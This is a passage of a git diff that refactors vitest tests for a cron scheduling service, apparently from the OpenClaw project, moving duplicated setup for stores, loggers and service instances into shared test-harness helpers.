createOutboundTestPlugin({ id: "telegram", outbound: telegramOutbound }), + source: "test", + }, + ]), + ); +} diff --git a/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.e2e.test.ts b/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.e2e.test.ts index 59454df8e9c..8097e2d987f 100644 --- a/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.e2e.test.ts +++ b/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.e2e.test.ts @@ -2,9 +2,8 @@ import fs from "node:fs/promises"; import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { CliDeps } from "../cli/deps.js"; -import type { OpenClawConfig } from "../config/config.js"; import type { CronJob } from "./types.js"; -import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; +import { makeCfg, makeJob, withTempCronHome } from "./isolated-agent.test-harness.js"; vi.mock("../agents/pi-embedded.js", () => ({ abortEmbeddedPiRun: vi.fn().mockReturnValue(false), @@ -18,10 +17,7 @@ vi.mock("../agents/model-catalog.js", () => ({ import { loadModelCatalog } from "../agents/model-catalog.js"; import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; - -async function withTempHome(fn: (home: string) => Promise): Promise { - return withTempHomeBase(fn, { prefix: "openclaw-cron-" }); -} +const withTempHome = withTempCronHome; function makeDeps(): CliDeps { return { @@ -89,36 +85,55 @@ async function readSessionEntry(storePath: string, key: string) { return store[key]; } -function makeCfg( +const GMAIL_MODEL = "openrouter/meta-llama/llama-3.3-70b:free"; + +async function runGmailHookTurn( home: string, - storePath: string, - overrides: Partial = {}, -): OpenClawConfig { - const base: OpenClawConfig = { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), + storeEntries?: Record>, +) { + const storePath = await writeSessionStore(home, storeEntries); + const deps = makeDeps(); + mockEmbeddedOk(); + + return runCronIsolatedAgentTurn({ + cfg: makeCfg(home, storePath, { + hooks: { + gmail: { + model: GMAIL_MODEL, + }, }, - }, - session: { store: storePath, mainKey: "main" }, - } as OpenClawConfig; - return { ...base, ...overrides }; + }), + deps, + job: makeJob({ kind: "agentTurn", message: "do it", deliver: false }), + message: "do it", + sessionKey: "hook:gmail:msg-1", + lane: "cron", + }); } -function makeJob(payload: CronJob["payload"]): CronJob { - const now = Date.now(); - return { - id: "job-1", - enabled: true, - createdAtMs: now, - updatedAtMs: now, - schedule: { kind: "every", everyMs: 60_000 }, - sessionTarget: "isolated", - wakeMode: "now", - payload, - state: {}, - }; +async function runTurnWithStoredModelOverride( + home: string, + jobPayload: CronJob["payload"], + modelOverride = "gpt-4.1-mini", +) { + const storePath = await writeSessionStore(home, { + "agent:main:cron:job-1": { + sessionId: "existing-cron-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride, + }, + }); + const deps = makeDeps(); + mockEmbeddedOk(); + return await runCronIsolatedAgentTurn({ + cfg: makeCfg(home, storePath), + deps, + job: makeJob(jobPayload), + message: "do it", + sessionKey: "cron:job-1", + lane: "cron", + }); } describe("runCronIsolatedAgentTurn", () => { @@ -268,24 +283,10 @@ describe("runCronIsolatedAgentTurn", () => { it("uses stored session override when no job model override is provided", async () => { await withTempHome(async (home) => { - const storePath = await writeSessionStore(home, { - "agent:main:cron:job-1": { - sessionId: "existing-cron-session", - updatedAt: Date.now(), - providerOverride: "openai", - modelOverride: "gpt-4.1-mini", - }, - }); - const deps = makeDeps(); - mockEmbeddedOk(); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath), - deps, - job: makeJob({ kind: "agentTurn", message: "do it", deliver: false }), + const res = await runTurnWithStoredModelOverride(home, { + kind: "agentTurn", message: "do it", - sessionKey: "cron:job-1", - lane: "cron", + deliver: false, }); expect(res.status).toBe("ok"); @@ -295,68 +296,32 @@ describe("runCronIsolatedAgentTurn", () => { it("prefers job model override over stored session override", async () => { await withTempHome(async (home) => { - const storePath = await writeSessionStore(home, { - "agent:main:cron:job-1": { - sessionId: "existing-cron-session", - updatedAt: Date.now(), - providerOverride: "openai", - modelOverride: "gpt-4.1-mini", - }, - }); - const deps = makeDeps(); - mockEmbeddedOk(); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath), - deps, - job: makeJob({ - kind: "agentTurn", - message: "do it", - model: "anthropic/claude-opus-4-5", - deliver: false, - }), + const res = await runTurnWithStoredModelOverride(home, { + kind: "agentTurn", message: "do it", - sessionKey: "cron:job-1", - lane: "cron", + model: "anthropic/claude-opus-4-5", + deliver: false, }); expect(res.status).toBe("ok"); expectEmbeddedProviderModel({ provider: "anthropic", model: "claude-opus-4-5" }); }); }); - it("uses hooks.gmail.model for Gmail hook sessions", async () => { await withTempHome(async (home) => { - const storePath = await writeSessionStore(home); - const deps = makeDeps(); - mockEmbeddedOk(); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - hooks: { - gmail: { - model: "openrouter/meta-llama/llama-3.3-70b:free", - }, - }, - }), - deps, - job: makeJob({ kind: "agentTurn", message: "do it", deliver: false }), - message: "do it", - sessionKey: "hook:gmail:msg-1", - lane: "cron", - }); + const res = await runGmailHookTurn(home); expect(res.status).toBe("ok"); expectEmbeddedProviderModel({ provider: "openrouter", - model: "meta-llama/llama-3.3-70b:free", + model: GMAIL_MODEL.replace("openrouter/", ""), }); }); }); it("keeps hooks.gmail.model precedence over stored session override", async () => { await withTempHome(async (home) => { - const storePath = await writeSessionStore(home, { + const res = await runGmailHookTurn(home, { "agent:main:hook:gmail:msg-1": { sessionId: "existing-gmail-session", updatedAt: Date.now(), @@ -364,28 +329,11 @@ describe("runCronIsolatedAgentTurn", () => { modelOverride: "claude-opus-4-5", }, }); - const deps = makeDeps(); - mockEmbeddedOk(); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - hooks: { - gmail: { - model: "openrouter/meta-llama/llama-3.3-70b:free", - }, - }, - }), - deps, - job: makeJob({ kind: "agentTurn", message: "do it", deliver: false }), - message: "do it", - sessionKey: "hook:gmail:msg-1", - lane: "cron", - }); expect(res.status).toBe("ok"); expectEmbeddedProviderModel({ provider: "openrouter", - model: "meta-llama/llama-3.3-70b:free", + model: GMAIL_MODEL.replace("openrouter/", ""), }); }); }); @@ -443,20 +391,8 @@ describe("runCronIsolatedAgentTurn", () => { it("ignores hooks.gmail.model when not in the allowlist", async () => { await withTempHome(async (home) => { const storePath = await writeSessionStore(home); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); + const deps = makeDeps(); + mockEmbeddedOk(); vi.mocked(loadModelCatalog).mockResolvedValueOnce([ { id: "claude-opus-4-5", @@ -605,20 +541,8 @@ describe("runCronIsolatedAgentTurn", () => { it("starts a fresh session id for each cron run", async () => { await withTempHome(async (home) => { const storePath = await writeSessionStore(home); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); + const deps = makeDeps(); + mockEmbeddedOk(); const cfg = makeCfg(home, storePath); const job = makeJob({ kind: "agentTurn", message: "ping", deliver: false }); diff --git a/src/cron/normalize.test.ts b/src/cron/normalize.test.ts index bcc2849ae57..efbc3241389 100644 --- a/src/cron/normalize.test.ts +++ b/src/cron/normalize.test.ts @@ -1,6 +1,24 @@ import { describe, expect, it } from "vitest"; import { normalizeCronJobCreate, normalizeCronJobPatch } from "./normalize.js"; +function expectNormalizedAtSchedule(scheduleInput: Record) { + const normalized = normalizeCronJobCreate({ + name: "iso schedule", + enabled: true, + schedule: scheduleInput, + sessionTarget: "main", + wakeMode: "next-heartbeat", + payload: { + kind: "systemEvent", + text: "hi", + }, + }) as unknown as Record; + + const schedule = normalized.schedule as Record; + expect(schedule.kind).toBe("at"); + expect(schedule.at).toBe(new Date(Date.parse("2026-01-12T18:00:00Z")).toISOString()); +} + describe("normalizeCronJobCreate", () => { it("maps legacy payload.provider to payload.channel and strips provider", () => { const normalized = normalizeCronJobCreate({ @@ -88,39 +106,11 @@ describe("normalizeCronJobCreate", () => { }); it("coerces ISO schedule.at to normalized ISO (UTC)", () => { - const normalized = normalizeCronJobCreate({ - name: "iso at", - enabled: true, - schedule: { at: "2026-01-12T18:00:00" }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { - kind: "systemEvent", - text: "hi", - }, - }) as unknown as Record; - - const schedule = normalized.schedule as Record; - expect(schedule.kind).toBe("at"); - expect(schedule.at).toBe(new Date(Date.parse("2026-01-12T18:00:00Z")).toISOString()); + expectNormalizedAtSchedule({ at: "2026-01-12T18:00:00" }); }); it("coerces schedule.atMs string to schedule.at (UTC)", () => { - const normalized = normalizeCronJobCreate({ - name: "iso atMs", - enabled: true, - schedule: { kind: "at", atMs: "2026-01-12T18:00:00" }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { - kind: "systemEvent", - text: "hi", - }, - }) as unknown as Record; - - const schedule = normalized.schedule as Record; - expect(schedule.kind).toBe("at"); - expect(schedule.at).toBe(new Date(Date.parse("2026-01-12T18:00:00Z")).toISOString()); + expectNormalizedAtSchedule({ kind: "at", atMs: "2026-01-12T18:00:00" }); }); it("defaults deleteAfterRun for one-shot schedules", () => { diff --git a/src/cron/service.delivery-plan.test.ts b/src/cron/service.delivery-plan.test.ts index 809819434dc..930d444f73a 100644 --- a/src/cron/service.delivery-plan.test.ts +++ b/src/cron/service.delivery-plan.test.ts @@ -21,118 +21,131 @@ async function makeStorePath() { }; } -describe("CronService delivery plan consistency", () => { - it("does not post isolated summary when legacy deliver=false", async () => { - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const cron = new CronService({ - cronEnabled: true, - storePath: store.storePath, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow: vi.fn(), - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok", summary: "done" })), - }); - await cron.start(); - const job = await cron.add({ - name: "legacy-off", - schedule: { kind: "every", everyMs: 60_000, anchorMs: Date.now() }, - sessionTarget: "isolated", - wakeMode: "next-heartbeat", - payload: { - kind: "agentTurn", - message: "hello", - deliver: false, - }, - }); +type DeliveryMode = "none" | "announce"; - const result = await cron.run(job.id, "force"); - expect(result).toEqual({ ok: true, ran: true }); - expect(enqueueSystemEvent).not.toHaveBeenCalled(); +type DeliveryOverride = { + mode: DeliveryMode; + channel?: string; + to?: string; +}; +async function withCronService( + params: { + runIsolatedAgentJob?: () => Promise<{ status: "ok"; summary: string; delivered?: boolean }>; + }, + run: (context: { + cron: CronService; + enqueueSystemEvent: ReturnType; + requestHeartbeatNow: ReturnType; + }) => Promise, +) { + const store = await makeStorePath(); + const enqueueSystemEvent = vi.fn(); + const requestHeartbeatNow = vi.fn(); + const cron = new CronService({ + cronEnabled: true, + storePath: store.storePath, + log: noopLogger, + enqueueSystemEvent, + requestHeartbeatNow, + runIsolatedAgentJob: + params.runIsolatedAgentJob ?? + (vi.fn(async () => ({ status: "ok", summary: "done" })) as never), + }); + + await cron.start(); + try { + await run({ cron, enqueueSystemEvent, requestHeartbeatNow }); + } finally { cron.stop(); await store.cleanup(); + } +} + +async function addIsolatedAgentTurnJob( + cron: CronService, + params: { + name: string; + wakeMode: "next-heartbeat" | "now"; + payload?: { deliver?: boolean }; + delivery?: DeliveryOverride; + }, +) { + return cron.add({ + name: params.name, + schedule: { kind: "every", everyMs: 60_000, anchorMs: Date.now() }, + sessionTarget: "isolated", + wakeMode: params.wakeMode, + payload: { + kind: "agentTurn", + message: "hello", + ...params.payload, + }, + ...(params.delivery + ? { + delivery: params.delivery as unknown as { + mode: DeliveryMode; + channel?: string; + to?: string; + }, + } + : {}), + }); +} + +describe("CronService delivery plan consistency", () => { + it("does not post isolated summary when legacy deliver=false", async () => { + await withCronService({}, async ({ cron, enqueueSystemEvent }) => { + const job = await addIsolatedAgentTurnJob(cron, { + name: "legacy-off", + wakeMode: "next-heartbeat", + payload: { deliver: false }, + }); + + const result = await cron.run(job.id, "force"); + expect(result).toEqual({ ok: true, ran: true }); + expect(enqueueSystemEvent).not.toHaveBeenCalled(); + }); }); it("treats delivery object without mode as announce", async () => { - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const cron = new CronService({ - cronEnabled: true, - storePath: store.storePath, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow: vi.fn(), - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok", summary: "done" })), - }); - await cron.start(); - const job = await cron.add({ - name: "partial-delivery", - schedule: { kind: "every", everyMs: 60_000, anchorMs: Date.now() }, - sessionTarget: "isolated", - wakeMode: "next-heartbeat", - payload: { - kind: "agentTurn", - message: "hello", - }, - delivery: { channel: "telegram", to: "123" } as unknown as { - mode: "none" | "announce"; - channel?: string; - to?: string; - }, - }); + await withCronService({}, async ({ cron, enqueueSystemEvent }) => { + const job = await addIsolatedAgentTurnJob(cron, { + name: "partial-delivery", + wakeMode: "next-heartbeat", + delivery: { channel: "telegram", to: "123" } as DeliveryOverride, + }); - const result = await cron.run(job.id, "force"); - expect(result).toEqual({ ok: true, ran: true }); - expect(enqueueSystemEvent).toHaveBeenCalledWith( - "Cron: done", - expect.objectContaining({ agentId: undefined }), - ); - - cron.stop(); - await store.cleanup(); + const result = await cron.run(job.id, "force"); + expect(result).toEqual({ ok: true, ran: true }); + expect(enqueueSystemEvent).toHaveBeenCalledWith( + "Cron: done", + expect.objectContaining({ agentId: undefined }), + ); + }); }); it("does not enqueue duplicate relay when isolated run marks delivery handled", async () => { - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const runIsolatedAgentJob = vi.fn(async () => ({ - status: "ok" as const, - summary: "done", - delivered: true, - })); - const cron = new CronService({ - cronEnabled: true, - storePath: store.storePath, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob, - }); - await cron.start(); - const job = await cron.add({ - name: "announce-delivered", - schedule: { kind: "every", everyMs: 60_000, anchorMs: Date.now() }, - sessionTarget: "isolated", - wakeMode: "now", - payload: { - kind: "agentTurn", - message: "hello", + await withCronService( + { + runIsolatedAgentJob: vi.fn(async () => ({ + status: "ok", + summary: "done", + delivered: true, + })), }, - delivery: { channel: "telegram", to: "123" } as unknown as { - mode: "none" | "announce"; - channel?: string; - to?: string; + async ({ cron, enqueueSystemEvent, requestHeartbeatNow }) => { + const job = await addIsolatedAgentTurnJob(cron, { + name: "announce-delivered", + wakeMode: "now", + delivery: { channel: "telegram", to: "123" } as DeliveryOverride, + }); + + const result = await cron.run(job.id, "force"); + expect(result).toEqual({ ok: true, ran: true }); + expect(enqueueSystemEvent).not.toHaveBeenCalled(); + expect(requestHeartbeatNow).not.toHaveBeenCalled(); }, - }); - - const result = await cron.run(job.id, "force"); - expect(result).toEqual({ ok: true, ran: true }); - expect(enqueueSystemEvent).not.toHaveBeenCalled(); - expect(requestHeartbeatNow).not.toHaveBeenCalled(); - - cron.stop(); - await store.cleanup(); + ); }); }); diff --git a/src/cron/service.every-jobs-fire.test.ts b/src/cron/service.every-jobs-fire.test.ts index b70c3654f7b..5b59ad88cb6 100644 --- a/src/cron/service.every-jobs-fire.test.ts +++ b/src/cron/service.every-jobs-fire.test.ts @@ -1,9 +1,9 @@ import fs from "node:fs/promises"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; -import type { CronEvent } from "./service.js"; import { CronService } from "./service.js"; import { + createStartedCronServiceWithFinishedBarrier, createCronStoreHarness, createNoopLogger, installCronTestHooks, @@ -13,42 +13,12 @@ const noopLogger = createNoopLogger(); const { makeStorePath } = createCronStoreHarness(); installCronTestHooks({ logger: noopLogger }); -function createFinishedBarrier() { - const resolvers = new Map void>(); - return { - waitForOk: (jobId: string) => - new Promise((resolve) => { - resolvers.set(jobId, resolve); - }), - onEvent: (evt: CronEvent) => { - if (evt.action !== "finished" || evt.status !== "ok") { - return; - } - const resolve = resolvers.get(evt.jobId); - if (!resolve) { - return; - } - resolvers.delete(evt.jobId); - resolve(evt); - }, - }; -} - describe("CronService interval/cron jobs fire on time", () => { it("fires an every-type main job when the timer fires a few ms late", async () => { const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const finished = createFinishedBarrier(); - - const cron = new CronService({ + const { cron, enqueueSystemEvent, finished } = createStartedCronServiceWithFinishedBarrier({ storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - onEvent: finished.onEvent, + logger: noopLogger, }); await cron.start(); @@ -86,23 +56,14 @@ describe("CronService interval/cron jobs fire on time", () => { it("fires a cron-expression job when the timer fires a few ms late", async () => { const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const finished = createFinishedBarrier(); + const { cron, enqueueSystemEvent, finished } = createStartedCronServiceWithFinishedBarrier({ + storePath: store.storePath, + logger: noopLogger, + }); // Set time to just before a minute boundary. vi.setSystemTime(new Date("2025-12-13T00:00:59.000Z")); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - onEvent: finished.onEvent, - }); - await cron.start(); const job = await cron.add({ name: "every minute check", diff --git a/src/cron/service.issue-16156-list-skips-cron.test.ts b/src/cron/service.issue-16156-list-skips-cron.test.ts index dd9363a5194..87e75448342 100644 --- a/src/cron/service.issue-16156-list-skips-cron.test.ts +++ b/src/cron/service.issue-16156-list-skips-cron.test.ts @@ -2,8 +2,8 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import type { CronEvent } from "./service.js"; import { CronService } from "./service.js"; +import { createStartedCronServiceWithFinishedBarrier } from "./service.test-harness.js"; const noopLogger = { debug: vi.fn(), @@ -22,25 +22,20 @@ async function makeStorePath() { return { storePath }; } -function createFinishedBarrier() { - const resolvers = new Map void>(); - return { - waitForOk: (jobId: string) => - new Promise((resolve) => { - resolvers.set(jobId, resolve); - }), - onEvent: (evt: CronEvent) => { - if (evt.action !== "finished" || evt.status !== "ok") { - return; - } - const resolve = resolvers.get(evt.jobId); - if (!resolve) { - return; - } - resolvers.delete(evt.jobId); - resolve(evt); - }, - }; +async function writeJobsStore(storePath: string, jobs: unknown[]) { + await fs.mkdir(path.dirname(storePath), { recursive: true }); + await fs.writeFile(storePath, JSON.stringify({ version: 1, jobs }, null, 2), "utf-8"); +} + +function createCronFromStorePath(storePath: string) { + return new CronService({ + storePath, + cronEnabled: true, + log: noopLogger, + enqueueSystemEvent: vi.fn(), + requestHeartbeatNow: vi.fn(), + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + }); } describe("#16156: cron.list() must not silently advance past-due recurring jobs", () => { @@ -69,18 +64,9 @@ describe("#16156: cron.list() must not silently advance past-due recurring jobs" it("does not skip a cron job when list() is called while the job is past-due", async () => { const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const finished = createFinishedBarrier(); - - const cron = new CronService({ + const { cron, enqueueSystemEvent, finished } = createStartedCronServiceWithFinishedBarrier({ storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - onEvent: finished.onEvent, + logger: noopLogger, }); await cron.start(); @@ -133,18 +119,9 @@ describe("#16156: cron.list() must not silently advance past-due recurring jobs" it("does not skip a cron job when status() is called while the job is past-due", async () => { const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const finished = createFinishedBarrier(); - - const cron = new CronService({ + const { cron, enqueueSystemEvent, finished } = createStartedCronServiceWithFinishedBarrier({ storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - onEvent: finished.onEvent, + logger: noopLogger, }); await cron.start(); @@ -188,41 +165,22 @@ describe("#16156: cron.list() must not silently advance past-due recurring jobs" const nowMs = Date.parse("2025-12-13T00:00:00.000Z"); // Write a store file with a cron job that has no nextRunAtMs. - await fs.mkdir(path.dirname(store.storePath), { recursive: true }); - await fs.writeFile( - store.storePath, - JSON.stringify( - { - version: 1, - jobs: [ - { - id: "missing-next", - name: "missing next", - enabled: true, - createdAtMs: nowMs, - updatedAtMs: nowMs, - schedule: { kind: "cron", expr: "* * * * *", tz: "UTC" }, - sessionTarget: "main", - wakeMode: "now", - payload: { kind: "systemEvent", text: "fill-me" }, - state: {}, - }, - ], - }, - null, - 2, - ), - "utf-8", - ); + await writeJobsStore(store.storePath, [ + { + id: "missing-next", + name: "missing next", + enabled: true, + createdAtMs: nowMs, + updatedAtMs: nowMs, + schedule: { kind: "cron", expr: "* * * * *", tz: "UTC" }, + sessionTarget: "main", + wakeMode: "now", + payload: { kind: "systemEvent", text: "fill-me" }, + state: {}, + }, + ]); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent: vi.fn(), - requestHeartbeatNow: vi.fn(), - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - }); + const cron = createCronFromStorePath(store.storePath); await cron.start(); diff --git a/src/cron/service.prevents-duplicate-timers.test.ts b/src/cron/service.prevents-duplicate-timers.test.ts index c8867e3e16b..a89aa0d8d6e 100644 --- a/src/cron/service.prevents-duplicate-timers.test.ts +++ b/src/cron/service.prevents-duplicate-timers.test.ts @@ -1,40 +1,19 @@ -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { CronService } from "./service.js"; +import { + createCronStoreHarness, + createNoopLogger, + installCronTestHooks, +} from "./service.test-harness.js"; -const noopLogger = { - debug: vi.fn(), - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), -}; - -async function makeStorePath() { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-")); - return { - storePath: path.join(dir, "cron", "jobs.json"), - cleanup: async () => { - await fs.rm(dir, { recursive: true, force: true }); - }, - }; -} +const noopLogger = createNoopLogger(); +const { makeStorePath } = createCronStoreHarness({ prefix: "openclaw-cron-" }); +installCronTestHooks({ + logger: noopLogger, + baseTimeIso: "2025-12-13T00:00:00.000Z", +}); describe("CronService", () => { - beforeEach(() => { - vi.useFakeTimers(); - vi.setSystemTime(new Date("2025-12-13T00:00:00.000Z")); - noopLogger.debug.mockClear(); - noopLogger.info.mockClear(); - noopLogger.warn.mockClear(); - noopLogger.error.mockClear(); - }); - - afterEach(() => { - vi.useRealTimers(); - }); - it("avoids duplicate runs when two services share a store", async () => { const store = await makeStorePath(); const enqueueSystemEvent = vi.fn(); diff --git a/src/cron/service.rearm-timer-when-running.test.ts b/src/cron/service.rearm-timer-when-running.test.ts index 21b8f2b95c1..6b9353ed81a 100644 --- a/src/cron/service.rearm-timer-when-running.test.ts +++ b/src/cron/service.rearm-timer-when-running.test.ts @@ -1,27 +1,11 @@ -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { CronJob } from "./types.js"; +import { createCronStoreHarness, createNoopLogger } from "./service.test-harness.js"; import { createCronServiceState } from "./service/state.js"; import { onTimer } from "./service/timer.js"; -const noopLogger = { - debug: vi.fn(), - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), -}; - -async function makeStorePath() { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-")); - return { - storePath: path.join(dir, "cron", "jobs.json"), - cleanup: async () => { - await fs.rm(dir, { recursive: true, force: true }); - }, - }; -} +const noopLogger = createNoopLogger(); +const { makeStorePath } = createCronStoreHarness(); function createDueRecurringJob(params: { id: string; diff --git a/src/cron/service.restart-catchup.test.ts b/src/cron/service.restart-catchup.test.ts index d2d68702bae..78be88509f3 100644 --- a/src/cron/service.restart-catchup.test.ts +++ b/src/cron/service.restart-catchup.test.ts @@ -1,39 +1,40 @@ import fs from "node:fs/promises"; -import os from "node:os"; import path from "node:path"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { CronService } from "./service.js"; +import { + createCronStoreHarness, + createNoopLogger, + installCronTestHooks, +} from "./service.test-harness.js"; -const noopLogger = { - debug: vi.fn(), - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), -}; - -async function makeStorePath() { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-")); - return { - storePath: path.join(dir, "cron", "jobs.json"), - cleanup: async () => { - await fs.rm(dir, { recursive: true, force: true }); - }, - }; -} +const noopLogger = createNoopLogger(); +const { makeStorePath } = createCronStoreHarness({ prefix: "openclaw-cron-" }); +installCronTestHooks({ + logger: noopLogger, + baseTimeIso: "2025-12-13T17:00:00.000Z", +}); describe("CronService restart catch-up", () => { - beforeEach(() => { - vi.useFakeTimers(); - vi.setSystemTime(new Date("2025-12-13T17:00:00.000Z")); - noopLogger.debug.mockClear(); - noopLogger.info.mockClear(); - noopLogger.warn.mockClear(); - noopLogger.error.mockClear(); - }); + async function writeStoreJobs(storePath: string, jobs: unknown[]) { + await fs.mkdir(path.dirname(storePath), { recursive: true }); + await fs.writeFile(storePath, JSON.stringify({ version: 1, jobs }, null, 2), "utf-8"); + } - afterEach(() => { - vi.useRealTimers(); - }); + function createRestartCronService(params: { + storePath: string; + enqueueSystemEvent: ReturnType; + requestHeartbeatNow: ReturnType; + }) { + return new CronService({ + storePath: params.storePath, + cronEnabled: true, + log: noopLogger, + enqueueSystemEvent: params.enqueueSystemEvent, + requestHeartbeatNow: params.requestHeartbeatNow, + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + }); + } it("executes an overdue recurring job immediately on start", async () => { const store = await makeStorePath(); @@ -43,44 +44,29 @@ describe("CronService restart catch-up", () => { const dueAt = Date.parse("2025-12-13T15:00:00.000Z"); const lastRunAt = Date.parse("2025-12-12T15:00:00.000Z"); - await fs.mkdir(path.dirname(store.storePath), { recursive: true }); - await fs.writeFile( - store.storePath, - JSON.stringify( - { - version: 1, - jobs: [ - { - id: "restart-overdue-job", - name: "daily digest", - enabled: true, - createdAtMs: Date.parse("2025-12-10T12:00:00.000Z"), - updatedAtMs: Date.parse("2025-12-12T15:00:00.000Z"), - schedule: { kind: "cron", expr: "0 15 * * *", tz: "UTC" }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "digest now" }, - state: { - nextRunAtMs: dueAt, - lastRunAtMs: lastRunAt, - lastStatus: "ok", - }, - }, - ], + await writeStoreJobs(store.storePath, [ + { + id: "restart-overdue-job", + name: "daily digest", + enabled: true, + createdAtMs: Date.parse("2025-12-10T12:00:00.000Z"), + updatedAtMs: Date.parse("2025-12-12T15:00:00.000Z"), + schedule: { kind: "cron", expr: "0 15 * * *", tz: "UTC" }, + sessionTarget: "main", + wakeMode: "next-heartbeat", + payload: { kind: "systemEvent", text: "digest now" }, + state: { + nextRunAtMs: dueAt, + lastRunAtMs: lastRunAt, + lastStatus: "ok", }, - null, - 2, - ), - "utf-8", - ); + }, + ]); - const cron = new CronService({ + const cron = createRestartCronService({ storePath: store.storePath, - cronEnabled: true, - log: noopLogger, enqueueSystemEvent, requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), }); await cron.start(); @@ -109,43 +95,28 @@ describe("CronService restart catch-up", () => { const dueAt = Date.parse("2025-12-13T16:00:00.000Z"); const staleRunningAt = Date.parse("2025-12-13T16:30:00.000Z"); - await fs.mkdir(path.dirname(store.storePath), { recursive: true }); - await fs.writeFile( - store.storePath, - JSON.stringify( - { - version: 1, - jobs: [ - { - id: "restart-stale-running", - name: "daily stale marker", - enabled: true, - createdAtMs: Date.parse("2025-12-10T12:00:00.000Z"), - updatedAtMs: Date.parse("2025-12-13T16:30:00.000Z"), - schedule: { kind: "cron", expr: "0 16 * * *", tz: "UTC" }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "resume stale marker" }, - state: { - nextRunAtMs: dueAt, - runningAtMs: staleRunningAt, - }, - }, - ], + await writeStoreJobs(store.storePath, [ + { + id: "restart-stale-running", + name: "daily stale marker", + enabled: true, + createdAtMs: Date.parse("2025-12-10T12:00:00.000Z"), + updatedAtMs: Date.parse("2025-12-13T16:30:00.000Z"), + schedule: { kind: "cron", expr: "0 16 * * *", tz: "UTC" }, + sessionTarget: "main", + wakeMode: "next-heartbeat", + payload: { kind: "systemEvent", text: "resume stale marker" }, + state: { + nextRunAtMs: dueAt, + runningAtMs: staleRunningAt, }, - null, - 2, - ), - "utf-8", - ); + }, + ]); - const cron = new CronService({ + const cron = createRestartCronService({ storePath: 